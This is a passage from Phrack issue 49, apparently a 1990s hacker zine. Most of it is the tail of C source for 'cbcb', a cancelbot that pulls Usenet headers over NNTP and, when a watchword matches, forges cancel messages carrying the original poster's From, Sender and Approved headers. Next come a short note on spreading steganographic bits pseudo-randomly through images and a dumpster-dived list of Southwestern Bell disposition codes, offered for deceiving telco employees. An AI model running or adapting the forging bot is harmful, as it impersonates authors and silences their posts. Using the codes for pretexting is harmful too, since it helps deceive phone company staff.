extra_ngrp[i]=',';

extra_ngrp[i+1]=0;

}

}

/* read the extra header lines */

if (0==strcmp(hdr_fname,sznone)) /* if 'none' is specified */

*extra_header=0;

else

{

/* try to open the specified file */

if (NULL==(sptr=fopen(hdr_fname,"r")))

{

perror("open()");

fprintf(stderr,"cbcb cannot open extra‑header file %s\n",hdr_fname); continue;

}

nbytes=fread(buffer,1,BUFFERSIZE,sptr);

fclose(sptr);

if (nbytes>=BUFFERSIZE)

fprintf(stderr,"extra‑header file %s is too long\n",hdr_fname); if (!cbcb_copy_buffer(extra_header))

{

fprintf(stderr,"error in header file\n");

continue;

}

}

/* read the body the same way */

if (0==strcmp(txt_fname,sznone)) /* if 'none' is specified */

strcpy(extra_body,"Please cancel this article\r\n");

else

{

/* try to open the specified file */

if (NULL==(sptr=fopen(txt_fname,"r")))

{

perror("open()");

fprintf(stderr,"cbcb cannot open body file %s\n",txt_fname); continue;

}

nbytes=fread(buffer,1,BUFFERSIZE,sptr);

fclose(sptr);

if (nbytes>=BUFFERSIZE)

fprintf(stderr,"body file %s is too long\n",txt_fname);

if (!cbcb_copy_buffer(extra_body))

{

fprintf(stderr,"error in body file\n");

continue;

}

}

if (!cbcb_process_target()) /* process otherwise. warn and go on if error */

fprintf(stderr,"cbcb encountered a problem processing target, line %d\n", file_rec);

}

return(1);

}

int cbcb_process_target(void)

{

/* loop on hosts */

for (host1=0; host1<nhosts; host1++)

if (hosts[host1].newnews_flag=='Y') /* if we want to get message‑ids from it */

{

cbcb_flush_sock(hosts[host1].cfd);

/* compose the rfc 977 newnews command. Ansi C would let us write

nbytes=sprintf(..), but gcc has a non‑compilant sprintf which return buffer instead, so we must use strlen */

sprintf(buffer,"NEWNEWS %s %s %s GMT\r\n", newsgroups,datestamp,timestamp);

nbytes=strlen(buffer);

/* send the command to the server */

if (nbytes!=send(hosts[host1].cfd,buffer,nbytes,0))

{

perror_sock("NEWNEWS send()");

continue;

}

/* the server is supposed to return a list of message‑ids now */

if (!cbcb_parse_message_ids())

fprintf(stderr,"Problem parsing message‑ids\n");

/* no 'continue': even if we return a partial queue, try to process it */

/* loop through headers, newest first */

while (msg_queue)

{

msg_t=msg_queue;

if (!cbcb_process_article(msg_queue‑>msgid)) fprintf(stderr,"Problem processing article <%s>\n",msg_queue‑>msgid); msg_queue=msg_queue‑>next;

free(msg_t);

}

}

return(1);

}

int cbcb_parse_message_ids(void)

{

msg_queue=NULL;

parse_state=7;

nretry=0;

recv_msgids:

if (!cbcb_test_sock(hosts[host1].cfd)) /* nothing to read */

{

if (nretry>hosts[host1].timeout)

{

fprintf(stderr,"timeout waiting to recv message‑ids\n"); return(0);

}

fprintf(stderr,".");

nretry++;

sleep(1);

goto recv_msgids;

}

nbytes=recv(hosts[host1].cfd,buffer,sizeof(buffer),0);

if (nbytes<0) /* an error shouldn't happen here */

{

perror_sock("NEWNEWS recv()");

return(0);

}

#ifdef DEBUG

fwrite(buffer,1,nbytes,stdout); /* for debugging only!! */

#endif

/* now see if what we received makes sense */

for (i=0; i<nbytes; i++)

{

switch(parse_state)

{

case 0:

if (buffer[i]=='.')

parse_state=4;

else if (buffer[i]!='<')

goto recv_bad_msg_id;

else

{

j=0;

parse_state=1;

}

break;

case 1:

if (buffer[i]=='>')

{

/* add to the queue */

msg_t=(struct _msgidq*)malloc(sizeof(struct _msgidq));

if (msg_t==NULL)

{

fprintf(stderr,"malloc failed\n");

return(0);

}

msg_t‑>msgid=(char*)malloc(j+1);

if (msg_t‑>msgid==NULL)

{

free(msg_t);

fprintf(stderr,"malloc failed\n");

return(0);

}

memcpy(msg_t‑>msgid,buffer_big,j);

*(msg_t‑>msgid+j)=0;

msg_t‑>next=msg_queue;

msg_queue=msg_t;

parse_state=2;

}

else

{

if (j>=BUFFERBIGSIZE)

{

fprintf(stderr,"Please increase BUFFERBIGSIZE\n"); return(0);

}

buffer_big[j]=buffer[i];

j++;

/* parse_state=1; */

}

break;

case 2:

if (buffer[i]==ASCII_CR)

parse_state=3;

else

goto recv_bad_msg_id;

break;

case 3:

if (buffer[i]==ASCII_LF)

parse_state=0;

else

goto recv_bad_msg_id;

break;

case 4:

if (buffer[i]==ASCII_CR)

parse_state=5;

else

goto recv_bad_msg_id;

break;

case 5:

if (buffer[i]==ASCII_LF)

parse_state=6;

else

goto recv_bad_msg_id;

break;

case 6: /* more data after final . */

goto recv_bad_msg_id;

case 7: /* initial, really */

if (buffer[i]=='2')

parse_state=8;

else

goto recv_bad_msg_id;

break;

case 8:

if (buffer[i]==ASCII_CR)

parse_state=3;

break;

}

}

if (parse_state!=6)

goto recv_msgids;

/* normal competion */

return(1);

recv_bad_msg_id:

fprintf(stderr,"Unexpected response (expected message‑ids) "); if (i)

{

fprintf(stderr,"after \"");

fwrite(buffer,1,i,stderr);

fprintf(stderr,"\" ");

}

if (i<nbytes)

{

fprintf(stderr,"before \""); fwrite(buffer+i,1,nbytes‑i,stderr);

fprintf(stderr,"\"");

}

fprintf(stderr,"\n");

return(0);

}

int cbcb_process_article(char *msgid)

{

/* if there is any leftover data in the socket, get it out */

cbcb_flush_sock(hosts[host1].cfd);

/* compose the rfc 977 head command */

sprintf(buffer,"HEAD <%s>\r\n",msgid);

/* send the command to the server */

nbytes=strlen(buffer);

if (nbytes!=send(hosts[host1].cfd,buffer,nbytes,0))

{

perror_sock("HEAD send()");

return(0);

}

/* the server is supposed to return the article headers now */

if (!cbcb_get_headers())

{

fprintf(stderr,"Problem retrieving headers\n");

return(0);

}

if (!strstr(buffer_big,watchword))

return(1); /* no match, nothing to do */

/* found the watchword: let's cancel */

cbcb_save_headers();

sprintf(buffer_big,"\

Path: %s%s\r\n\

From:%s\r\n\

Sender:%s\r\n\

Approved:%s\r\n\

Newsgroups: %s%s\r\n\

Date:%s\r\n\

%s%s%s\

Organization:%s\r\n\

Control:%s\r\n\

Message‑ID: <%s%s>\r\n\

%s\

\r\n\

%s\

.\r\n",

path_const, h_ptr[0],h_ptr[1],h_ptr[2],h_ptr[3],extra_ngrp,h_ptr[4],h_ptr[5], t_ptr[0],h_ptr[6],t_ptr[1],h_ptr[7],t_ptr[2], cmsg_id_prefix,msgid,extra_header,extra_body);

fputs(buffer_big,stderr); /* to see what we're posting */

for (host2=0; host2<nhosts; host2++)

if (hosts[host2].post_flag=='P'||hosts[host2].post_flag=='I')

{

cbcb_flush_sock(hosts[host2].cfd);

if (hosts[host2].post_flag=='P')

{

/* send the command to the server */

if (6!=send(hosts[host2].cfd,"POST\r\n",6,0))

{

perror_sock("POST send()");

continue;

}

}

else /*hosts[host2].post_flag=='I') */

{

sprintf(buffer,"IHAVE <%s%s>\r\n",cmsg_id_prefix,msgid); nbytes=strlen(buffer);

/* send the command to the server */

if (nbytes!=send(hosts[host2].cfd,buffer,nbytes,0))

{

perror_sock("IHAVE send()");

continue;

}

}

if (!cbcb_recv_resp(host2,'3'))

{

fprintf(stderr,"NNTP problem while trying to post\n"); continue;

}

nbytes=strlen(buffer_big);

if (nbytes!=send(hosts[host2].cfd,buffer_big,nbytes,0))

{

perror_sock("article send()");

continue;

}

if (!cbcb_recv_resp(host2,'2'))

{

fprintf(stderr,"NNTP problem after posting\n");

continue;

}

}

return(1); /* all's well */

}

int cbcb_get_headers(void)

{

h_ptr[0]=h_ptr[1]=h_ptr[2]=h_ptr[3]=h_ptr[4]=h_ptr[5]=h_ptr[6]=h_ptr[7]=NULL; h_flag=d_flag=parse_state=0;

nretry=0;

j=0;

/* recv */

recv_headers:

if (!cbcb_test_sock(hosts[host1].cfd)) /* nothing to read */

{

if (nretry>hosts[host1].timeout)

{

fprintf(stderr,"timeout waiting to recv article headers\n"); return(0);

}

fprintf(stderr,".");

nretry++;

sleep(1);

goto recv_headers;

}

nbytes=recv(hosts[host1].cfd,buffer,sizeof(buffer),0);

if (nbytes<0) /* an error shouldn't happen here */

{

perror_sock("headers recv()");

return(0);

}

#ifdef DEBUG

fwrite(buffer,1,nbytes,stdout); /* for debugging only!! */

#endif

/* see if what we received makes sense */

for (i=0; i<nbytes; i++)

{

switch(parse_state)

{

case 0:

if (buffer[i]=='2')

parse_state=1;

else

goto recv_bad_header;

break;

case 1:

if (buffer[i]=='2')

parse_state=2;

else

goto recv_bad_header;

break;

case 2:

if (buffer[i]==ASCII_CR)

parse_state=3;

/*

else

parse_state=2;

*/

break;

case 3:

if (buffer[i]==ASCII_LF)

{

if (d_flag)

parse_state=5;

else

{

h_flag=1;

parse_state=4;

goto recv_header_save;

}

}

else

goto recv_bad_header;

break;

case 4:

if (buffer[i]==ASCII_CR) /* don't save cr's */

parse_state=3;

else

{

if (h_flag)

{

d_flag=0;

if (buffer[i]=='.')

d_flag=1;

else if (buffer[i]=='p'||buffer[i]=='P')

parse_state=10;

else if (buffer[i]=='f'||buffer[i]=='F')

parse_state=20;

else if (buffer[i]=='s'||buffer[i]=='S')

parse_state=30;

else if (buffer[i]=='a'||buffer[i]=='A')

parse_state=40;

else if (buffer[i]=='n'||buffer[i]=='N')

parse_state=50;

else if (buffer[i]=='d'||buffer[i]=='D')

parse_state=60;

else if (buffer[i]=='o'||buffer[i]=='O')

parse_state=70;

else if (buffer[i]==' '||buffer[i]=='\t') /* space means continuation */

j‑‑; /* backup over the lf */

h_flag=0;

}

else

d_flag=0;

goto recv_header_save;

}

break;

case 5: /* more data after the final . */

goto recv_bad_header;

/* we recognize these headers on the fly */

case 10:

if (buffer[i]=='a'||buffer[i]=='A')

parse_state=11;

else

parse_state=4;

goto recv_header_save;

case 11:

if (buffer[i]=='t'||buffer[i]=='t')

parse_state=12;

else

parse_state=4;

goto recv_header_save;

case 12:

if (buffer[i]=='h'||buffer[i]=='H')

parse_state=13;

else

parse_state=4;

goto recv_header_save;

case 13:

if (buffer[i]==':')

h_ptr[0]=buffer_big+j+1; /* Path: */

parse_state=4;

goto recv_header_save;

case 20:

if (buffer[i]=='r'||buffer[i]=='R')

parse_state=21;

else

parse_state=4;

goto recv_header_save;

case 21:

if (buffer[i]=='o'||buffer[i]=='O')

parse_state=22;

else

parse_state=4;

goto recv_header_save;

case 22:

if (buffer[i]=='m'||buffer[i]=='M')

parse_state=23;

else

parse_state=4;

goto recv_header_save;

case 23:

if (buffer[i]==':')

h_ptr[1]=buffer_big+j+1; /* From: */

parse_state=4;

goto recv_header_save;

case 30:

if (buffer[i]=='e'||buffer[i]=='E')

parse_state=31;

else if (buffer[i]=='u'||buffer[i]=='U')

parse_state=90;

else

parse_state=4;

goto recv_header_save;

case 31:

if (buffer[i]=='n'||buffer[i]=='N')

parse_state=32;

else

parse_state=4;

goto recv_header_save;

case 32:

if (buffer[i]=='d'||buffer[i]=='D')

parse_state=33;

else

parse_state=4;

goto recv_header_save;

case 33:

if (buffer[i]=='e'||buffer[i]=='E')

parse_state=34;

else

parse_state=4;

goto recv_header_save;

case 34:

if (buffer[i]=='r'||buffer[i]=='R')

parse_state=35;

else

parse_state=4;

goto recv_header_save;

case 35:

if (buffer[i]==':')

h_ptr[2]=buffer_big+j+1; /* Sender: */

parse_state=4;

goto recv_header_save;

case 40:

if (buffer[i]=='p'||buffer[i]=='P')

parse_state=41;

else

parse_state=4;

goto recv_header_save;

case 41:

if (buffer[i]=='p'||buffer[i]=='P')

parse_state=42;

else

parse_state=4;

goto recv_header_save;

case 42:

if (buffer[i]=='r'||buffer[i]=='R')

parse_state=43;

else

parse_state=4;

goto recv_header_save;

case 43:

if (buffer[i]=='o'||buffer[i]=='O')

parse_state=44;

else

parse_state=4;

goto recv_header_save;

case 44:

if (buffer[i]=='v'||buffer[i]=='V')

parse_state=45;

else

parse_state=4;

goto recv_header_save;

case 45:

if (buffer[i]=='e'||buffer[i]=='E')

parse_state=46;

else

parse_state=4;

goto recv_header_save;

case 46:

if (buffer[i]=='d'||buffer[i]=='D')

parse_state=47;

else

parse_state=4;

goto recv_header_save;

case 47:

if (buffer[i]==':')

h_ptr[3]=buffer_big+j+1; /* Approved: */

parse_state=4;

goto recv_header_save;

case 50:

if (buffer[i]=='e'||buffer[i]=='E')

parse_state=51;

else

parse_state=4;

goto recv_header_save;

case 51:

if (buffer[i]=='w'||buffer[i]=='W')

parse_state=52;

else

parse_state=4;

goto recv_header_save;

case 52:

if (buffer[i]=='s'||buffer[i]=='S')

parse_state=53;

else

parse_state=4;

goto recv_header_save;

case 53:

if (buffer[i]=='g'||buffer[i]=='G')

parse_state=54;

else

parse_state=4;

goto recv_header_save;

case 54:

if (buffer[i]=='r'||buffer[i]=='R')

parse_state=55;

else

parse_state=4;

goto recv_header_save;

case 55:

if (buffer[i]=='o'||buffer[i]=='O')

parse_state=56;

else

parse_state=4;

goto recv_header_save;

case 56:

if (buffer[i]=='u'||buffer[i]=='U')

parse_state=57;

else

parse_state=4;

goto recv_header_save;

case 57:

if (buffer[i]=='p'||buffer[i]=='P')

parse_state=58;

else

parse_state=4;

goto recv_header_save;

case 58:

if (buffer[i]=='s'||buffer[i]=='S')

parse_state=59;

else

parse_state=4;

goto recv_header_save;

case 59:

if (buffer[i]==':')

h_ptr[4]=buffer_big+j+2; /* Newsgroups:, skip space */

parse_state=4;

goto recv_header_save;

case 60:

if (buffer[i]=='a'||buffer[i]=='A')

parse_state=61;

else

parse_state=4;

goto recv_header_save;

case 61:

if (buffer[i]=='t'||buffer[i]=='T')

parse_state=62;

else

parse_state=4;

goto recv_header_save;

case 62:

if (buffer[i]=='e'||buffer[i]=='E')

parse_state=63;

else

parse_state=4;

goto recv_header_save;

case 63:

if (buffer[i]==':')

h_ptr[5]=buffer_big+j+1; /* Date: */

parse_state=4;

goto recv_header_save;

case 70:

if (buffer[i]=='r'||buffer[i]=='R')

parse_state=71;

else

parse_state=4;

goto recv_header_save;

case 71:

if (buffer[i]=='g'||buffer[i]=='G')

parse_state=72;

else

parse_state=4;

goto recv_header_save;

case 72:

if (buffer[i]=='a'||buffer[i]=='A')

parse_state=73;

else

parse_state=4;

goto recv_header_save;

case 73:

if (buffer[i]=='n'||buffer[i]=='N')

parse_state=74;

else

parse_state=4;

goto recv_header_save;

case 74:

if (buffer[i]=='i'||buffer[i]=='I')

parse_state=75;

else

parse_state=4;

goto recv_header_save;

case 75:

if (buffer[i]=='z'||buffer[i]=='Z')

parse_state=76;

else

parse_state=4;

goto recv_header_save;

case 76:

if (buffer[i]=='a'||buffer[i]=='A')

parse_state=77;

else

parse_state=4;

goto recv_header_save;

case 77:

if (buffer[i]=='t'||buffer[i]=='T')

parse_state=78;

else

parse_state=4;

goto recv_header_save;

case 78:

if (buffer[i]=='i'||buffer[i]=='I')

parse_state=79;

else

parse_state=4;

goto recv_header_save;

case 79:

if (buffer[i]=='o'||buffer[i]=='O')

parse_state=80;

else

parse_state=4;

goto recv_header_save;

case 80:

if (buffer[i]=='n'||buffer[i]=='N')

parse_state=81;

else

parse_state=4;

goto recv_header_save;

case 81:

if (buffer[i]==':')

h_ptr[7]=buffer_big+j+1; /* Organization: */

parse_state=4;

goto recv_header_save;

case 90:

if (buffer[i]=='b'||buffer[i]=='B')

parse_state=91;

else

parse_state=4;

goto recv_header_save;

case 91:

if (buffer[i]=='j'||buffer[i]=='J')

parse_state=92;

else

parse_state=4;

goto recv_header_save;

case 92:

if (buffer[i]=='e'||buffer[i]=='E')

parse_state=93;

else

parse_state=4;

goto recv_header_save;

case 93:

if (buffer[i]=='c'||buffer[i]=='C')

parse_state=94;

else

parse_state=4;

goto recv_header_save;

case 94:

if (buffer[i]=='t'||buffer[i]=='T')

parse_state=95;

else

parse_state=4;

goto recv_header_save;

case 95:

if (buffer[i]==':')

h_ptr[6]=buffer_big+j+1; /* Subject: */

parse_state=4;

goto recv_header_save;

default: /* how could we ever get here? */

goto recv_bad_header;

}

continue; /* ugly, branch around save */

recv_header_save:

if (j>=BUFFERBIGSIZE)

{

fprintf(stderr,"Please increase BUFFERBIGSIZE\n");

return(0);

}

buffer_big[j++]=buffer[i];

} /* next i */

if (parse_state!=5)

goto recv_headers;

return(1);

recv_bad_header:

fprintf(stderr,"Unexpected response (expected headers) ");

if (i)

{

fprintf(stderr,"after \"");

fwrite(buffer,1,i,stderr);

fprintf(stderr,"\" ");

}

if (i<nbytes)

{

fprintf(stderr,"before \""); fwrite(buffer+i,1,nbytes‑i,stderr);

fprintf(stderr,"\"");

}

fprintf(stderr,"\n");

return(0);

}

void cbcb_save_headers(void)

{

/* now copy old headers to buffer for safekeeping */

/* only if buffer_big matched the pattern */

/* only Path: is special: no initial space */

if (h_ptr[0]==NULL) /* no path */

{

j=0;

h_ptr[0]=" ";

}

else

{

i=h_ptr[0]‑buffer_big;

j=path_num;

while (buffer_big[i]!=ASCII_LF)

i++;

i‑‑;

/* now go back and look for the last n bang‑separated components, or the

beginning of path */

while (buffer_big[i]>' ' && j)

{

i‑‑;

if (buffer_big[i]=='!')

j‑‑;

}

i++;

j=0;

h_ptr[0]=buffer;

while (buffer_big[i]!=ASCII_LF)

buffer[j++]=buffer_big[i++];

buffer[j++]=0;

}

t_ptr[2]=buffer+j;

sprintf(t_ptr[2]," cancel <%s>",msg_queue‑>msgid); j+=strlen(t_ptr[2])+1;

if (h_ptr[1]==NULL) /* no from? Highly unlikely */

h_ptr[1]=szcabal;

else

cbcb_save_header(1);

if (h_ptr[2]==NULL) /* sender */

h_ptr[2]=h_ptr[1];

else

cbcb_save_header(2);

if (h_ptr[3]==NULL) /* approved */

h_ptr[3]=h_ptr[2];

else

cbcb_save_header(3);

if (h_ptr[4]==NULL) /* no newsgroups? */

h_ptr[4]="control";

else

cbcb_save_header(4);

if (h_ptr[5]==NULL) /* no date??? */

h_ptr[5]=" 1 Jan 1990 00:00 GMT";

else

cbcb_save_header(5);

/* subject is special ‑ must use flag */

if (subject_flag=='O')

{

if (h_ptr[6]==NULL)

h_ptr[6]=szcabal; /* no subject??? */

else

cbcb_save_header(6);

t_ptr[0]=szsubject;

t_ptr[1]=szendl;

}

else if (subject_flag=='C')

{

h_ptr[6]=t_ptr[2]; /* same as the Control: */

t_ptr[0]=szsubjectc;

t_ptr[1]=szendl;

}

else /* if (subject_flag=='N') */

{

t_ptr[0]=t_ptr[1]=h_ptr[6]=szempty;

}

if (h_ptr[7]==NULL) /* organization */

h_ptr[7]=szcabal;

else

cbcb_save_header(7);

#ifdef DEBUG

for (i=0; i<8; i++)

if (h_ptr[i])

printf("%d:%s\n",i,h_ptr[i]);

#endif

}

void cbcb_save_header(int k)

{

i=h_ptr[k]‑buffer_big;

h_ptr[k]=buffer+j;

while (buffer_big[i]!=ASCII_LF)

buffer[j++]=buffer_big[i++];

buffer[j++]=0;

}

int cbcb_flush_sock(int sock)

{

/* if there is any leftover data in the socket, get it out */

while (cbcb_test_sock(sock))

{

nbytes=recv(sock,buffer,sizeof(buffer),0);

if (nbytes<0)

perror_sock("flush recv()"); /* but don't abort */

else

fwrite(buffer,1,nbytes,stderr); /* display it, as it may be informative */

}

return(1);

}

/* use select to see if there's data here.

There don't seem to be any unixes left which understand poll and not select.*/

int cbcb_test_sock(int sock)

{

fd_set setm;

static struct timeval zerotime={0,0};

FD_ZERO(&setm);

FD_SET(sock,&setm);

if (select(sock+1,&setm,NULL,NULL,&zerotime)<0)

{

perror_sock("select()");

}

if (FD_ISSET(sock,&setm))

return(1);

else

return(0);

}

int cbcb_recv_resp(int host,char c)

{

parse_state=0;

nretry=0;

recv_resp:

if (!cbcb_test_sock(hosts[host].cfd)) /* nothing to read */

{

if (nretry>hosts[host].timeout)

{

fprintf(stderr,"timeout waiting to recv response\n"); return(0);

}

fprintf(stderr,".");

nretry++;

sleep(1);

goto recv_resp;

}

nbytes=recv(hosts[host].cfd,buffer,sizeof(buffer),0);

if (nbytes<0) /* an error shouldn't happen here */

{

perror_sock("response recv()");

return(0);

}

/* #ifdef DEBUG */

fwrite(buffer,1,nbytes,stdout); /* for debugging only!! */

/* #endif */

/* now see if what we received makes sense */

for (i=0; i<nbytes; i++)

{

switch(parse_state)

{

case 0:

if (buffer[i]==c)

parse_state=1;

else

goto recv_bad_resp;

break;

case 1:

if (buffer[i]==ASCII_CR)

parse_state=2;

break;

case 2:

if (buffer[i]==ASCII_LF)

parse_state=3;

else

goto recv_bad_resp;

break;

case 3: /* more data after final \n */

goto recv_bad_resp;

}

}

if (parse_state!=3)

goto recv_resp;

/* normal competion */

return(1);

recv_bad_resp:

fprintf(stderr,"Unexpected response (expected %cxx message) ",c); if (i)

{

fprintf(stderr,"after \"");

fwrite(buffer,1,i,stderr);

fprintf(stderr,"\" ");

}

if (i<nbytes)

{

fprintf(stderr,"before \""); fwrite(buffer+i,1,nbytes‑i,stderr);

fprintf(stderr,"\"");

}

fprintf(stderr,"\n");

return(0);

}

int cbcb_copy_buffer(char *s)

{

i=j=0;

if (nbytes>0&&buffer[nbytes‑1]!='\n') buffer[nbytes++]='\n';

buffer[nbytes]=0;

while (buffer[i])

{

if (j>=BUFFERSIZE)

{

fprintf(stderr,"File too big\n");

return(0);

}

if (buffer[i]=='\n')

*(s+(j++))='\r';

*(s+(j++))=buffer[i++];

}

*(s+j)=0;

return(1);

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑cut me loose!‑‑‑‑‑‑‑‑‑‑‑‑‑‑>8‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A Steganography Improvement Proposal

.oO Phrack 49 Oo.

Volume Seven, Issue Forty‑Nine

10 of 16

A Steganography Implementation Improvement Proposal

by: cjm1@concentric.net

[ For those of you who do not know, steganography is cryptographic technique that simply hides messages inside of messages. The sender composes an innocuous message and then, using one of many tactics, injects the secret message into it. Some techniques involve: invisible inks, character distortion, handwriting differences, word/letter frequency doping, bit flipping, etc... The method the author discusses hinges upon a well known steganographic implementation, low‑order bit flipping in graphic images. ‑d9 ]

Steganography is a technique for hiding data in other data. The general method is to flip bits so that reading the low‑order bit of each of 8‑bytes gets one a character. This allows one to use a picture or a sound file and hide data, resulting in a small bit of hopefully unnoticeable noise in the data and a safely hidden cache of data that can later be extracted. This paper details a method for making steganographically hidden data more safe, by using pseudo‑random dispersion.

Ordinarily, if someone suspects that you have data hidden in, say, a GIF file, they can simply run the appropriate extractor and find the data. If the data is not encrypted, it will be plain for anyone to see. This can be ameliorated by using a simple password protection scheme, hiding the password in the GIF as a header, encrypting it first with itself. If someone does not know the password, they cannot extract the data. This is of course reasonably safe, depending on the encryption scheme used, and I recommend it. But, the hidden data can be made even safer.

Pseudo‑random dispersion works by hiding a password, and a seed for a random‑number‑generator in the encrypted header. then, a random number of bytes are passed by, before a low‑order bit is flipped.

To do this, one must first calculate how many bytes a bit can take up for itself. For instance, to hide an 800 character message in a GIF would mean each character needs 8 bytes (8 bits per character, 1 byte per low‑order bit), so you need 6,400 bytes of data to hide the message in, 8 bytes per character. Let's say we have a GIF that is 10 times this size: 64,000 bytes. Thus we have 80 bytes per character to hide data in. Since each bit takes a byte, we have 10 bytes per bit to hide data in! Therefore, if we take a pseudo‑random number between 1 and 10, and use that byte to hide our low‑order bit in, we have achieved a message dispersed through the GIF in a pseudo‑random fashion, much harder to extract. A message in which each byte has a bit which is significant to the steganographically hidden message can be extracted with ease relative to a message in which there are 10 possible bytes for each bit of each character. The later is exponentially harder to extract, given no esoteric knowledge.

A slight improvement can be made to this algorithm. By re‑calculating the number of available bytes left for each bit after each bit is hidden, the data is dispersed more evenly throughout the file, instead of being bunched up at the start, which would be a normal occurrence. If you use pseudo‑random number generator, picking numbers from 0‑9, over time, the values will smooth to 5. This will cause the hidden message to be clustered at the beginning of the GIF. By re‑calculating each time the number of available bytes left we spread the data out throughout the file, with the added bonus that later bits will be further spread apart than earlier ones, resulting in possible search spaces of 20, 30, 100, or even 1,000 possible bytes per bit. This too serves to make the data much harder to extract.

I recommend a header large enough for an 8 character ASCII password, an integral random‑number seed, an integral version number, and an place holder left for future uses. The version number allows us to tweak the algorithm and still be able to be compatible with past versions of the program. The header should be encrypted and undispersed (ie: 1 byte per bit of data) since we haven't seeded the random‑number generator yet for dispersion purposes.

It is useful to make the extractor in such a way that it always extracts something, regardless of the password being correct or not. Doing this means that it is impossible to tell if you have guessed a correct password and gotten encrypted data out, or merely gotten out garbage that looks like encrypted data. Use of a password can also be made optional, so that none is necessary for extraction. A simple default password can be used in these cases. When hiding encrypted data, there is no difference to the naked eye between what is extracted and what is garbage, so no password is strictly necessary. This means no password has to be remembered, or transmitted to other parties. A third party cannot tell if a real password has been used or not. It is important for safety purposes to not hide the default password in the header if no password is used. Otherwise, a simple match can be made by anyone who knows the default password.

South Western Bell Lineman Work Codes

.oO Phrack 49 Oo.

Volume Seven, Issue Forty‑Nine

11 of 16

A listing of South Western Bell Lineman Work Codes

Written by: Icon

Have you ever wanted to bullshit a telco employee but you don't have the proper acronym or code that would help convince them? Well here is a nearly complete listing of all of the Disposition Codes that I found on a trash run. Enjoy...

‑= Disposition Codes =‑

[The following is an exact word for word type up]

Disposition Code 01XX ‑ Station Set, Business Services:

This code applies to all troules located in TELCO‑provided station set equipment, including the mounting cord and handset cord, when used for OCS classes of service.

Disposition Code 02XX ‑ Other Station Equipment, OSC Business Services (or Public Services):

This code applies to all troubles in station equipment (other than station sets) including switchboards, PBX systems, switching equipment on the customer premises, etc. and to Public Services (COIN) station equipment.

Disposition Code 03XX ‑ Station Wiring

0310 Premise Termination: Coin/Coinless

0370 Network Termination: Other

0371 Protector: Applies when trouble is located in a protective interface 0373 Network Interface: Applies when trouble is located in network interface 0375 Network Terminating Wire: Applies when trouble is located in the wire between the protector/cable termination and the network interface of demarcation

0378 Side Wall ‑ Jumper missing

0379 Side Wall ‑ Jumper wrong

0380 Drop Other

0381 Aerial‑Paired: Applies to trouble located in one‑pair aerial drop service wire

0382 Aerial‑Multiple: Applies to trouble located in multiple‑paired aerial drop service wire

0383 Buried Drop ‑ Repaired Initial Dispatch: Applies to trouble located in buried drop and total repaired on first dispatch

0384 Buried Drop ‑ Temporary Places, No Recon: Applies to trouble located in buried drop and a subsequent visit is not needed for drop retermination 0385 Buried Drop ‑ Temporary Placed, Recon Required: Applies to trouble located in buried drop and a subsequent visit is needed for drop placement and recon.

0386 Drop, Left In: Applies to trouble located in a drop terminated to the cable pair at a location other than that of the subscriber's 0387 Drop Reversed

0388 Buried Drop ‑ Drop Not Buried: Applies when temporary drop is removed and newly placed buried drop is reconned

0389 Temporary Drop Not Buried ‑ Repaired: Applies to trouble located in the temporary drop and it is repaired

0390 Network Miscellaneous Apparatus

Disposition Code 04XX ‑ Outside Plant

0401 Pair Transferred ‑ Defective Pair Left: Applies when service is restored by transferring the customer's service to a different cable pair and the original defect is not corrected.

0402 Pair Cut Dead To The Field: Applies when service is restored by removing faulted conductor bridge tap which has affected the customer's service and the original defect is not corrected

0403 Pair Transposed: Applies when conductors are transposed between two or more points to restore customer service and the original defect is not corrected

0404 Defective Section/Temporary Drop Placed: Applies when trouble is located and a drop is placed as a temporary cable between terminals. 0405 Defective Pair ‑ Encapsulated Plant: Applies when trouble is encapsulated plant and pair is not fixed

0407 Pair Transferred ‑ No Defective Pair Left: Applies when service is restored by transferring the customer's service to a different cable pair (usually for record purposes) and no defective pair is involved (i.e., pair left off cable transfer, telephone number assigned on wrong pair). 0410 Cable Other: Applies when the trouble is fixed in the cable facility not listed elsewhere

0411 Sheath: Applies when damaged cable sheath or turnplate must be repaired to clear a trouble report

0412 Cut Cable: Applies when a cable has been cut or damaged and must be repaired to clear trouble reports

0413 Wet Cable: Applies when a cable has gotten wet and must be dried and/or cutaround to clear trouble reports

0416 Conductor: Applies when trouble is located in cable conductors, such as defective insulation, etc.

0420 Closure/Splice Case: Applies when trouble is located in cable closures and splice cases

0421 Temporary Closure: Applies to trouble located in temporary type closures 0423 Encapsulated: Applies to a trouble located within an encapsulated splice or closure. Includes troubles resulting from a defect in material, workmanship during construction, or maintenance activities of an encapsulated splice

0426 Ready Access Splice Case: Applies to trouble found in a ready access type splice case

0430 Terminal ‑ Other: Applies to trouble found in a terminal not otherwise listed

0431 Ready Access Terminal, All: Applies to trouble found in ready access type terminals in aerial or buried plant

0433 Fixed Count Terminal, All: Applies when trouble is located in fixed count terminal in aerial or buried plant

0436 Cross Box, RAI/SAI: Applies when trouble is located in a serving area interface or FX box

0440 Wire/Dual Plant ‑ Other: Applies when trouble is located in wire or dual wire plant not elsewhere listed

0442 Open/Rural Wire: Applies when trouble is located in wire for distribution, i.e., open wire, c‑rural wire, and d‑underground wire 0470 Pair Gain System: Applies when trouble is located in the Remote Terminal of the pair gain system

0471 Repeater Failure: Applies when trouble is located in the repeater of a Pair Gain System

0472 Battery Failure: Applies when trouble is located in the battery of a Pair Gain System

0473 Common Circuit Pack: Applies when trouble is located in the common circuit pack of a Pair Gain System

0474 Channel Unit Exchange: Applies when trouble is located in the channel unit (exchange type)

0475 Channel Unit Special: Applies when trouble is located in the channel unit (special type)

0476 Routing: Applies when trouble is with the routing

0477 Rectifier Failure: Applies when trouble is caused by rectifier failure 0478 Wiring: Applies when trouble is caused by the wiring

0470 Commercial Power Failure: Applies when trouble is caused because of commercial power failure

0480 Cable Miscellaneous/Other

0481 Pole/Guy/Anchor/Trench: Applies when a trouble is the result of a pole, guy, anchor, route signs, or trench associated with outside plant 0483 Fiber Optics ‑ All: Applies when a trouble is the result of conditions associated with fiber optics

Disposition Code 05XX ‑ Central Office

0511 Common Equipment

0512 Linkage/Network/Grid

0513 Line Equipment

0514 Billing Equipment

0515 Trunk

0516 Public Service Trunk

0520 Translations ‑ Other

0521 Generic Work Error

0522 Generic Program Error

0523 Parameter ‑ Work Error

0524 Parameter ‑ Document Error

0525 Line ‑ Work Error

0526 Line ‑ Document Error

0527 Network ‑ Work Error

0528 Network ‑ Document Error

